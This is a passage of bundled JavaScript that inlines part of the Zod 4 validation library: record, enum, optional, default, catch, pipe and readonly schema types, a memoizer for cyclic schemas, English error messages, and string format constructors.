const newArray = [];\n		for (let index = 0; index < a.length; index++) {\n			const itemA = a[index];\n			const itemB = b[index];\n			const sharedValue = mergeValues(itemA, itemB);\n			if (!sharedValue.valid) return {\n				valid: false,\n				mergeErrorPath: [index, ...sharedValue.mergeErrorPath]\n			};\n			newArray.push(sharedValue.data);\n		}\n		return {\n			valid: true,\n			data: newArray\n		};\n	}\n	return {\n		valid: false,\n		mergeErrorPath: []\n	};\n}\nfunction handleIntersectionResults(result, left, right) {\n	const unrecKeys = /* @__PURE__ */ new Map();\n	let unrecIssue;\n	const keyIssues = /* @__PURE__ */ new Map();\n	const collect = (iss, side) => {\n		let keys;\n		if (iss.code === \"unrecognized_keys\" && !iss.path?.length) {\n			unrecIssue ?? (unrecIssue = iss);\n			keys = iss.keys;\n		} else if (iss.code === \"invalid_key\" && iss.origin === \"record\" && iss.path?.length === 1) {\n			const k = String(iss.path[0]);\n			if (!keyIssues.has(k)) keyIssues.set(k, iss);\n			keys = [k];\n		} else return false;\n		for (const k of keys) {\n			if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n			unrecKeys.get(k)[side] = true;\n		}\n		return true;\n	};\n	for (const iss of left.issues) if (!collect(iss, \"l\")) result.issues.push(iss);\n	for (const iss of right.issues) if (!collect(iss, \"r\")) result.issues.push(iss);\n	const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k);\n	if (bothKeys.length) {\n		const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : [];\n		if (aggregated.length) result.issues.push({\n			...unrecIssue,\n			keys: aggregated\n		});\n		for (const k of bothKeys) if (!aggregated.includes(k) && keyIssues.has(k)) result.issues.push(keyIssues.get(k));\n	}\n	const merged = mergeValues(left.value, right.value);\n	if (!merged.valid) {\n		if (aborted(result)) return result;\n		throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`);\n	}\n	result.value = merged.data;\n	return result;\n}\nconst $ZodRecord = /*@__PURE__*/ $constructor(\"$ZodRecord\", (inst, def) => {\n	$ZodType.init(inst, def);\n	const memo = globalConfig.memoizer;\n	memo?.attach(inst);\n	inst._zod.parse = (payload, ctx) => {\n		const input = payload.value;\n		if (!isPlainObject(input)) {\n			payload.issues.push({\n				expected: \"record\",\n				code: \"invalid_type\",\n				input,\n				inst\n			});\n			return payload;\n		}\n		const proms = [];\n		const values = def.keyType._zod.values;\n		if (values && !def.partial) {\n			payload.value = memo ? memo.alloc(inst, payload, {}, ctx) : {};\n			const recordKeys = /* @__PURE__ */ new Set();\n			for (const key of values) if (typeof key === \"string\" || typeof key === \"number\" || typeof key === \"symbol\") {\n				recordKeys.add(typeof key === \"number\" ? key.toString() : key);\n				if (key === \"__proto__\") continue;\n				const keyResult = def.keyType._zod.run({\n					value: key,\n					issues: []\n				}, ctx);\n				if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n				if (keyResult.issues.length) {\n					payload.issues.push({\n						code: \"invalid_key\",\n						origin: \"record\",\n						issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n						input: key,\n						path: [key],\n						inst\n					});\n					continue;\n				}\n				const outKey = keyResult.value;\n				if (outKey === \"__proto__\") continue;\n				const result = def.valueType._zod.run({\n					value: input[key],\n					issues: []\n				}, ctx);\n				if (result instanceof Promise) proms.push(result.then((result) => {\n					if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n					payload.value[outKey] = result.value;\n				}));\n				else {\n					if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n					payload.value[outKey] = result.value;\n				}\n			}\n			let unrecognized;\n			for (const key in input) if (!recordKeys.has(key)) {\n				if (def.mode === \"loose\") {\n					if (key === \"__proto__\") continue;\n					payload.value[key] = input[key];\n				} else {\n					unrecognized = unrecognized ?? [];\n					unrecognized.push(key);\n				}\n			}\n			if (unrecognized && unrecognized.length > 0) payload.issues.push({\n				code: \"unrecognized_keys\",\n				input,\n				inst,\n				keys: unrecognized,\n				continue: true\n			});\n		} else {\n			payload.value = memo ? memo.alloc(inst, payload, {}, ctx) : {};\n			let unrecognized;\n			for (const key of Reflect.ownKeys(input)) {\n				if (key === \"__proto__\") continue;\n				if (!Object.prototype.propertyIsEnumerable.call(input, key)) continue;\n				let keyResult = def.keyType._zod.run({\n					value: key,\n					issues: []\n				}, ctx);\n				if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n				if (typeof key === \"string\" && number.test(key) && keyResult.issues.length) {\n					const retryResult = def.keyType._zod.run({\n						value: Number(key),\n						issues: []\n					}, ctx);\n					if (retryResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n					if (retryResult.issues.length === 0) keyResult = retryResult;\n				}\n				if (keyResult.issues.length) {\n					if (def.mode === \"loose\") payload.value[key] = input[key];\n					else if (values) {\n						unrecognized = unrecognized ?? [];\n						unrecognized.push(key);\n					} else payload.issues.push({\n						code: \"invalid_key\",\n						origin: \"record\",\n						issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n						input: key,\n						path: [key],\n						inst\n					});\n					continue;\n				}\n				const outKey = keyResult.value;\n				if (outKey === \"__proto__\") continue;\n				const result = def.valueType._zod.run({\n					value: input[key],\n					issues: []\n				}, ctx);\n				if (result instanceof Promise) proms.push(result.then((result) => {\n					if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n					payload.value[outKey] = result.value;\n				}));\n				else {\n					if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n					payload.value[outKey] = result.value;\n				}\n			}\n			if (unrecognized && unrecognized.length > 0) payload.issues.push({\n				code: \"unrecognized_keys\",\n				input,\n				inst,\n				keys: unrecognized,\n				continue: true\n			});\n		}\n		if (proms.length) return Promise.all(proms).then(() => payload);\n		return payload;\n	};\n});\nconst $ZodEnum = /*@__PURE__*/ $constructor(\"$ZodEnum\", (inst, def) => {\n	$ZodType.init(inst, def);\n	const values = getEnumValues(def.entries);\n	const valuesSet = new Set(values);\n	inst._zod.values = valuesSet;\n	defineLazyInternal(inst, \"pattern\", (zod) => {\n		const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k));\n		return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join(\"|\")})$` : \"^[^\\\\s\\\\S]$\");\n	});\n	inst._zod.parse = (payload, _ctx) => {\n		const input = payload.value;\n		if (valuesSet.has(input)) return payload;\n		payload.issues.push({\n			code: \"invalid_value\",\n			values,\n			input,\n			inst\n		});\n		return payload;\n	};\n});\nconst $ZodTransform = /*@__PURE__*/ $constructor(\"$ZodTransform\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.optin = \"optional\";\n	globalConfig.memoizer?.guard(inst);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n		const _out = def.transform(payload.value, payload);\n		if (ctx.async) return (_out instanceof Promise ? _out : Promise.resolve(_out)).then((output) => {\n			payload.value = output;\n			return payload;\n		});\n		if (_out instanceof Promise) throw new $ZodAsyncError();\n		payload.value = _out;\n		return payload;\n	};\n});\nfunction handleOptionalResult(payload, result) {\n	payload.value = result.issues.length ? void 0 : result.value;\n	return payload;\n}\nconst $ZodOptional = /*@__PURE__*/ $constructor(\"$ZodOptional\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.innerType._zod.optin === \"defaulted\" ? \"defaulted\" : \"optional\");\n	inst._zod.optout = \"optional\";\n	defineLazyInternal(inst, \"values\", (zod) => {\n		const values = zod.def.innerType._zod.values;\n		return values ? /* @__PURE__ */ new Set([...values, void 0]) : void 0;\n	});\n	defineLazyInternal(inst, \"pattern\", (zod) => {\n		const pattern = zod.def.innerType._zod.pattern;\n		return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0;\n	});\n	inst._zod.parse = (payload, ctx) => {\n		if (payload.value === void 0) {\n			if (def.innerType._zod.optin !== \"defaulted\") return payload;\n			const result = def.innerType._zod.run({\n				value: payload.value,\n				issues: []\n			}, ctx);\n			if (result instanceof Promise) return result.then((result) => handleOptionalResult(payload, result));\n			return handleOptionalResult(payload, result);\n		}\n		return def.innerType._zod.run(payload, ctx);\n	};\n});\nconst $ZodExactOptional = /*@__PURE__*/ $constructor(\"$ZodExactOptional\", (inst, def) => {\n	$ZodOptional.init(inst, def);\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	defineLazyInternal(inst, \"pattern\", (zod) => zod.def.innerType._zod.pattern);\n	inst._zod.parse = (payload, ctx) => {\n		return def.innerType._zod.run(payload, ctx);\n	};\n});\nconst $ZodNullable = /*@__PURE__*/ $constructor(\"$ZodNullable\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.innerType._zod.optin);\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.innerType._zod.optout);\n	defineLazyInternal(inst, \"pattern\", (zod) => {\n		const pattern = zod.def.innerType._zod.pattern;\n		return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0;\n	});\n	defineLazyInternal(inst, \"values\", (zod) => {\n		return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0;\n	});\n	inst._zod.parse = (payload, ctx) => {\n		if (payload.value === null) return payload;\n		return def.innerType._zod.run(payload, ctx);\n	};\n});\nconst $ZodDefault = /*@__PURE__*/ $constructor(\"$ZodDefault\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.optin = \"defaulted\";\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n		if (payload.value === void 0) {\n			payload.value = def.defaultValue;\n			/**\n			* $ZodDefault returns the default value immediately in forward direction.\n			* It doesn't pass the default value into the validator (\"prefault\"). There's no reason to pass the default value through validation. The validity of the default is enforced by TypeScript statically. Otherwise, it's the responsibility of the user to ensure the default is valid. In the case of pipes with divergent in/out types, you can specify the default on the `in` schema of your ZodPipe to set a \"prefault\" for the pipe.   */\n			return payload;\n		}\n		const result = def.innerType._zod.run(payload, ctx);\n		if (result instanceof Promise) return result.then((result) => handleDefaultResult(result, def));\n		return handleDefaultResult(result, def);\n	};\n});\nfunction handleDefaultResult(payload, def) {\n	if (payload.value === void 0) payload.value = def.defaultValue;\n	return payload;\n}\nconst $ZodPrefault = /*@__PURE__*/ $constructor(\"$ZodPrefault\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.optin = \"defaulted\";\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n		if (payload.value === void 0) payload.value = def.defaultValue;\n		return def.innerType._zod.run(payload, ctx);\n	};\n});\nconst $ZodNonOptional = /*@__PURE__*/ $constructor(\"$ZodNonOptional\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"values\", (zod) => {\n		const v = zod.def.innerType._zod.values;\n		return v ? new Set([...v].filter((x) => x !== void 0)) : void 0;\n	});\n	inst._zod.parse = (payload, ctx) => {\n		const result = def.innerType._zod.run(payload, ctx);\n		if (result instanceof Promise) return result.then((result) => handleNonOptionalResult(result, inst));\n		return handleNonOptionalResult(result, inst);\n	};\n});\nfunction handleNonOptionalResult(payload, inst) {\n	if (!payload.issues.length && payload.value === void 0) payload.issues.push({\n		code: \"invalid_type\",\n		expected: \"nonoptional\",\n		input: payload.value,\n		inst\n	});\n	return payload;\n}\nfunction handleCatchResult(payload, result, def, ctx) {\n	if (!result.issues.length) {\n		payload.value = result.value;\n		if (result.memo) payload.memo = true;\n		return payload;\n	}\n	payload.value = def.catchValue({\n		...result,\n		value: payload.value,\n		error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n		input: payload.value\n	});\n	return payload;\n}\nconst $ZodCatch = /*@__PURE__*/ $constructor(\"$ZodCatch\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.innerType._zod.optin === \"defaulted\" ? \"defaulted\" : \"optional\");\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.innerType._zod.optout);\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n		const result = def.innerType._zod.run({\n			value: payload.value,\n			issues: []\n		}, ctx);\n		if (result instanceof Promise) return result.then((result) => handleCatchResult(payload, result, def, ctx));\n		return handleCatchResult(payload, result, def, ctx);\n	};\n});\nconst $ZodPipe = /*@__PURE__*/ $constructor(\"$ZodPipe\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.in._zod.values);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.in._zod.optin);\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.out._zod.optout);\n	defineLazyInternal(inst, \"propValues\", (zod) => zod.def.in._zod.propValues);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") {\n			const right = def.out._zod.run(payload, ctx);\n			if (right instanceof Promise) return right.then((right) => handlePipeResult(right, def.in, ctx));\n			return handlePipeResult(right, def.in, ctx);\n		}\n		const left = def.in._zod.run(payload, ctx);\n		if (left instanceof Promise) return left.then((left) => handlePipeResult(left, def.out, ctx));\n		return handlePipeResult(left, def.out, ctx);\n	};\n});\nfunction handlePipeResult(left, next, ctx) {\n	if (left.issues.some((iss) => iss.code !== \"unrecognized_keys\")) {\n		left.aborted = true;\n		return left;\n	}\n	return next._zod.run({\n		value: left.value,\n		issues: left.issues\n	}, ctx);\n}\nconst $ZodReadonly = /*@__PURE__*/ $constructor(\"$ZodReadonly\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"propValues\", (zod) => zod.def.innerType._zod.propValues);\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.innerType?._zod?.optin);\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.innerType?._zod?.optout);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n		const result = def.innerType._zod.run(payload, ctx);\n		if (result instanceof Promise) return result.then(handleReadonlyResult);\n		return handleReadonlyResult(result);\n	};\n});\nfunction handleReadonlyResult(payload) {\n	if (!payload.memo) payload.value = Object.freeze(payload.value);\n	return payload;\n}\nconst $ZodCustom = /*@__PURE__*/ $constructor(\"$ZodCustom\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	$ZodType.init(inst, def);\n	inst._zod.parse = (payload, _) => {\n		return payload;\n	};\n	inst._zod.check = (payload) => {\n		const input = payload.value;\n		const r = def.fn(input);\n		if (r instanceof Promise) return r.then((r) => handleRefineResult(r, payload, input, inst));\n		handleRefineResult(r, payload, input, inst);\n	};\n});\nfunction handleRefineResult(result, payload, input, inst) {\n	if (!result) {\n		const _iss = {\n			code: \"custom\",\n			input,\n			inst,\n			path: [...inst._zod.def.path ?? []],\n			continue: !inst._zod.def.abort\n		};\n		if (inst._zod.def.params) _iss.params = inst._zod.def.params;\n		payload.issues.push(issue(_iss));\n	}\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/memoizer.js\nvar $ZodCyclicError = class extends Error {\n	constructor() {\n		super(`Cannot parse a reference cycle that closes through a transform`);\n		this.name = \"ZodCyclicError\";\n	}\n};\n/** Keyed off the context object every schema in one parse call already shares. */\nconst STATE = \"~memo\";\nconst NO_ISSUES = [];\nfunction isRef(value) {\n	return value !== null && typeof value === \"object\";\n}\nfunction cloneIssues(issues) {\n	return issues.map((iss) => iss.path ? {\n		...iss,\n		path: iss.path.slice()\n	} : { ...iss });\n}\nconst recursive = /*@__PURE__*/ new WeakMap();\n/** What the walk established, in order of certainty: ordered so the strongest answer among children wins. */\nconst NONE = 0;\nconst ASSUMED = 1;\nconst PROVEN = 2;\n/** Whether this schema's subtree contains a cycle, so one parse can re-enter it. */\nfunction isRecursive(inst, stack, resolve) {\n	const cached = recursive.get(inst);\n	if (cached !== void 0) return cached ? PROVEN : NONE;\n	if (stack.has(inst)) return PROVEN;\n	stack.add(inst);\n	let result = NONE;\n	const check = (child) => {\n		if (result !== PROVEN && child?._zod) {\n			const answer = isRecursive(child, stack, resolve);\n			if (answer > result) result = answer;\n		}\n	};\n	const shape = (sh, spread) => {\n		let answer = NONE;\n		for (const key of Reflect.ownKeys(sh)) {\n			const desc = Object.getOwnPropertyDescriptor(sh, key);\n			if (spread && !desc.enumerable) continue;\n			const child = desc.get ? ASSUMED : desc.value?._zod ? isRecursive(desc.value, stack, resolve) : NONE;\n			if (child > answer) answer = child;\n		}\n		return answer;\n	};\n	const merge = (answer) => {\n		if (answer > result) result = answer;\n	};\n	const def = inst._zod.def;\n	switch (def.type) {\n		case \"object\": {\n			const raw = rawShape(def);\n			merge(raw ? shape(raw, true) : ASSUMED);\n			check(def.catchall);\n			break;\n		}\n		case \"array\":\n			check(def.element);\n			break;\n		case \"tuple\":\n			for (const el of def.items) check(el);\n			check(def.rest);\n			break;\n		case \"record\":\n		case \"map\":\n			check(def.keyType);\n			check(def.valueType);\n			break;\n		case \"set\":\n			check(def.valueType);\n			break;\n		case \"union\":\n			for (const el of def.options) check(el);\n			break;\n		case \"intersection\":\n			check(def.left);\n			check(def.right);\n			break;\n		case \"optional\":\n		case \"nullable\":\n		case \"default\":\n		case \"prefault\":\n		case \"catch\":\n		case \"readonly\":\n		case \"nonoptional\":\n		case \"promise\":\n		case \"success\":\n			check(def.innerType);\n			break;\n		case \"pipe\":\n			check(def.in);\n			check(def.out);\n			break;\n		case \"function\":\n			check(def.input);\n			check(def.output);\n			break;\n		case \"lazy\": {\n			const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0);\n			merge(inner ? isRecursive(inner, stack, false) : ASSUMED);\n			break;\n		}\n		case \"template_literal\":\n		case \"string\":\n		case \"number\":\n		case \"int\":\n		case \"boolean\":\n		case \"bigint\":\n		case \"symbol\":\n		case \"undefined\":\n		case \"null\":\n		case \"void\":\n		case \"never\":\n		case \"any\":\n		case \"unknown\":\n		case \"date\":\n		case \"nan\":\n		case \"enum\":\n		case \"literal\":\n		case \"file\":\n		case \"transform\":\n		case \"custom\": break;\n		default: for (const key in def) {\n			const desc = Object.getOwnPropertyDescriptor(def, key);\n			if (!desc || desc.get) continue;\n			const value = desc.value;\n			if (!value || typeof value !== \"object\") continue;\n			if (value._zod) check(value);\n			else if (Array.isArray(value)) for (const el of value) check(el);\n		}\n	}\n	stack.delete(inst);\n	return settle(inst, result);\n}\n/** An assumed answer must not outlive the resolution that settles it, so only a certain one is cached. */\nfunction settle(inst, answer) {\n	if (answer !== ASSUMED) recursive.set(inst, answer === PROVEN);\n	return answer;\n}\nfunction bucketFor(state, inst) {\n	let bucket = state.buckets.get(inst);\n	if (!bucket) {\n		bucket = /* @__PURE__ */ new WeakMap();\n		state.buckets.set(inst, bucket);\n	}\n	return bucket;\n}\nlet handoff;\nconst open = [];\nconst memo = {\n	alloc(_inst, payload, empty) {\n		const bucket = handoff;\n		if (!bucket) return empty;\n		handoff = void 0;\n		const entry = {\n			value: empty,\n			issues: null\n		};\n		bucket.set(payload.value, entry);\n		open.push(entry);\n		return empty;\n	},\n	guard(inst) {\n		var _a;\n		(_a = inst._zod).deferred ?? (_a.deferred = []);\n		inst._zod.deferred.push(() => {\n			const base = inst._zod.parse;\n			const wrapped = (payload, ctx) => {\n				if (ctx.direction !== \"backward\" && isBackEdge(ctx, payload.value)) throw new $ZodCyclicError();\n				return base(payload, ctx);\n			};\n			inst._zod.parse = wrapped;\n			if (inst._zod.run === base) inst._zod.run = wrapped;\n		});\n	},\n	attach(inst) {\n		var _a;\n		let isRecursiveInst;\n		let rechecked = false;\n		let lastCtx;\n		let lastBucket;\n		(_a = inst._zod).deferred ?? (_a.deferred = []);\n		inst._zod.deferred.push(() => {\n			const base = inst._zod.parse;\n			const wrapped = (payload, ctx) => {\n				if (isRecursiveInst === void 0) {\n					const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false);\n					if (walked === NONE) {\n						inst._zod.parse = base;\n						if (inst._zod.run === wrapped) inst._zod.run = base;\n						return base(payload, ctx);\n					}\n					if (walked === PROVEN || rechecked) isRecursiveInst = true;\n					else rechecked = true;\n				}\n				const input = payload.value;\n				if (!isRef(input)) return base(payload, ctx);\n				let state = ctx[STATE];\n				if (!state) {\n					state = {\n						buckets: /* @__PURE__ */ new WeakMap(),\n						backEdges: void 0\n					};\n					ctx[STATE] = state;\n				}\n				let bucket;\n				if (lastCtx === ctx) bucket = lastBucket;\n				else {\n					bucket = bucketFor(state, inst);\n					lastCtx = ctx;\n					lastBucket = bucket;\n				}\n				const hit = bucket.get(input);\n				if (hit) {\n					payload.value = hit.value;\n					if (hit.issues) {\n						if (hit.issues.length) payload.issues.push(...cloneIssues(hit.issues));\n					} else {\n						payload.memo = true;\n						state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet());\n						state.backEdges.add(hit.value);\n					}\n					return payload;\n				}\n				handoff = bucket;\n				const depth = open.length;\n				const result = base(payload, ctx);\n				handoff = void 0;\n				const entry = open.length > depth ? open.pop() : void 0;\n				if (result instanceof Promise) return result.then((r) => {\n					if (entry) entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES;\n					return r;\n				});\n				if (entry) entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES;\n				return result;\n			};\n			inst._zod.parse = wrapped;\n			if (inst._zod.run === base) inst._zod.run = wrapped;\n		});\n	}\n};\n/** The memoizer that gives containers cycle support. `zod` installs it by default; `zod/mini` opts in with `config({ memoizer: memoizer() })`. */\nfunction memoizer() {\n	return memo;\n}\n/** Whether this value is a node a back-edge resolved to before it finished. */\nfunction isBackEdge(ctx, value) {\n	const backEdges = ctx[STATE]?.backEdges;\n	return backEdges !== void 0 && isRef(value) && backEdges.has(value);\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/locales/en.js\nconst error = () => {\n	const Sizable = {\n		string: {\n			unit: \"characters\",\n			verb: \"to have\"\n		},\n		file: {\n			unit: \"bytes\",\n			verb: \"to have\"\n		},\n		array: {\n			unit: \"items\",\n			verb: \"to have\"\n		},\n		set: {\n			unit: \"items\",\n			verb: \"to have\"\n		},\n		map: {\n			unit: \"entries\",\n			verb: \"to have\"\n		}\n	};\n	function getSizing(origin) {\n		return Sizable[origin] ?? null;\n	}\n	const FormatDictionary = {\n		regex: \"input\",\n		email: \"email address\",\n		url: \"URL\",\n		emoji: \"emoji\",\n		uuid: \"UUID\",\n		uuidv4: \"UUIDv4\",\n		uuidv6: \"UUIDv6\",\n		nanoid: \"nanoid\",\n		guid: \"GUID\",\n		cuid: \"cuid\",\n		cuid2: \"cuid2\",\n		ulid: \"ULID\",\n		xid: \"XID\",\n		ksuid: \"KSUID\",\n		datetime: \"ISO datetime\",\n		date: \"ISO date\",\n		time: \"ISO time\",\n		duration: \"ISO duration\",\n		ipv4: \"IPv4 address\",\n		ipv6: \"IPv6 address\",\n		mac: \"MAC address\",\n		cidrv4: \"IPv4 range\",\n		cidrv6: \"IPv6 range\",\n		base64: \"base64-encoded string\",\n		base64url: \"base64url-encoded string\",\n		json_string: \"JSON string\",\n		e164: \"E.164 number\",\n		currency_code: \"currency code\",\n		credit_card: \"credit card number\",\n		iban: \"IBAN\",\n		jwt: \"JWT\",\n		template_literal: \"input\"\n	};\n	const TypeDictionary = { nan: \"NaN\" };\n	function getTypeName(type, input) {\n		if (type === \"number\" && typeof input === \"number\" && !Number.isFinite(input)) return String(input);\n		return TypeDictionary[type] ?? type;\n	}\n	return (issue) => {\n		switch (issue.code) {\n			case \"invalid_type\": return `Invalid input: expected ${getTypeName(issue.expected)}, received ${getTypeName(parsedType(issue.input), issue.input)}`;\n			case \"invalid_value\":\n				if (issue.values.length === 1) return `Invalid input: expected ${stringifyPrimitive(issue.values[0])}`;\n				return `Invalid option: expected one of ${joinValues(issue.values, \"|\")}`;\n			case \"too_big\": {\n				const adj = issue.exact ? \"exactly \" : issue.inclusive ? \"<=\" : \"<\";\n				const sizing = getSizing(issue.origin);\n				if (sizing) return `Too big: expected ${issue.origin ?? \"value\"} to have ${adj}${issue.maximum.toString()} ${sizing.unit ?? \"elements\"}`;\n				return `Too big: expected ${issue.origin ?? \"value\"} to be ${adj}${issue.maximum.toString()}`;\n			}\n			case \"too_small\": {\n				const adj = issue.exact ? \"exactly \" : issue.inclusive ? \">=\" : \">\";\n				const sizing = getSizing(issue.origin);\n				if (sizing) return `Too small: expected ${issue.origin} to have ${adj}${issue.minimum.toString()} ${sizing.unit}`;\n				return `Too small: expected ${issue.origin} to be ${adj}${issue.minimum.toString()}`;\n			}\n			case \"invalid_format\": {\n				const _issue = issue;\n				if (_issue.format === \"starts_with\") return `Invalid string: must start with \"${_issue.prefix}\"`;\n				if (_issue.format === \"ends_with\") return `Invalid string: must end with \"${_issue.suffix}\"`;\n				if (_issue.format === \"includes\") return `Invalid string: must include \"${_issue.includes}\"`;\n				if (_issue.format === \"regex\") return `Invalid string: must match pattern ${_issue.pattern}`;\n				return `Invalid ${FormatDictionary[_issue.format] ?? issue.format}`;\n			}\n			case \"not_multiple_of\": return `Invalid number: must be a multiple of ${issue.divisor}`;\n			case \"unrecognized_keys\": return `Unrecognized key${issue.keys.length > 1 ? \"s\" : \"\"}: ${joinValues(issue.keys, \", \")}`;\n			case \"invalid_key\": return `Invalid key in ${issue.origin}`;\n			case \"invalid_union\":\n				if (issue.options && Array.isArray(issue.options) && issue.options.length > 0) return `Invalid discriminator value. Expected ${issue.options.map((o) => `'${o}'`).join(\" | \")}`;\n				if (issue.inclusive === false) return \"Invalid input: more than one option matched\";\n				return \"Invalid input\";\n			case \"invalid_element\": return `Invalid value in ${issue.origin}`;\n			default: return `Invalid input`;\n		}\n	};\n};\nfunction en_default() {\n	return { localeError: error() };\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/registries.js\nvar _a;\nvar $ZodRegistry = class {\n	constructor() {\n		this._map = /* @__PURE__ */ new WeakMap();\n		this._idmap = /* @__PURE__ */ new Map();\n	}\n	add(schema, ..._meta) {\n		const meta = _meta[0];\n		this._map.set(schema, meta);\n		if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.set(meta.id, schema);\n		return this;\n	}\n	clear() {\n		this._map = /* @__PURE__ */ new WeakMap();\n		this._idmap = /* @__PURE__ */ new Map();\n		return this;\n	}\n	remove(schema) {\n		const meta = this._map.get(schema);\n		if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.delete(meta.id);\n		this._map.delete(schema);\n		return this;\n	}\n	get(schema) {\n		const p = schema._zod.parent;\n		if (p) {\n			const pm = { ...this.get(p) ?? {} };\n			delete pm.id;\n			const f = {\n				...pm,\n				...this._map.get(schema)\n			};\n			return Object.keys(f).length ? f : void 0;\n		}\n		return this._map.get(schema);\n	}\n	has(schema) {\n		return this._map.has(schema);\n	}\n};\nfunction registry() {\n	return new $ZodRegistry();\n}\n(_a = globalThis).__zod_globalRegistry ?? (_a.__zod_globalRegistry = registry());\nconst globalRegistry = globalThis.__zod_globalRegistry;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/api.js\nfunction snapshotChecks(def) {\n	if (def.checks) def.checks = [...def.checks];\n	return def;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _string(Class, params) {\n	return new Class(snapshotChecks({\n		type: \"string\",\n		...normalizeParams(params)\n	}));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _email(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"email\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _guid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"guid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"uuid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv4(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"uuid\",\n		check: \"string_format\",\n		abort: false,\n		version: \"v4\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv6(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"uuid\",\n		check: \"string_format\",\n		abort: false,\n		version: \"v6\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv7(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"uuid\",\n		check: \"string_format\",\n		abort: false,\n		version: \"v7\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _url(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"url\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction 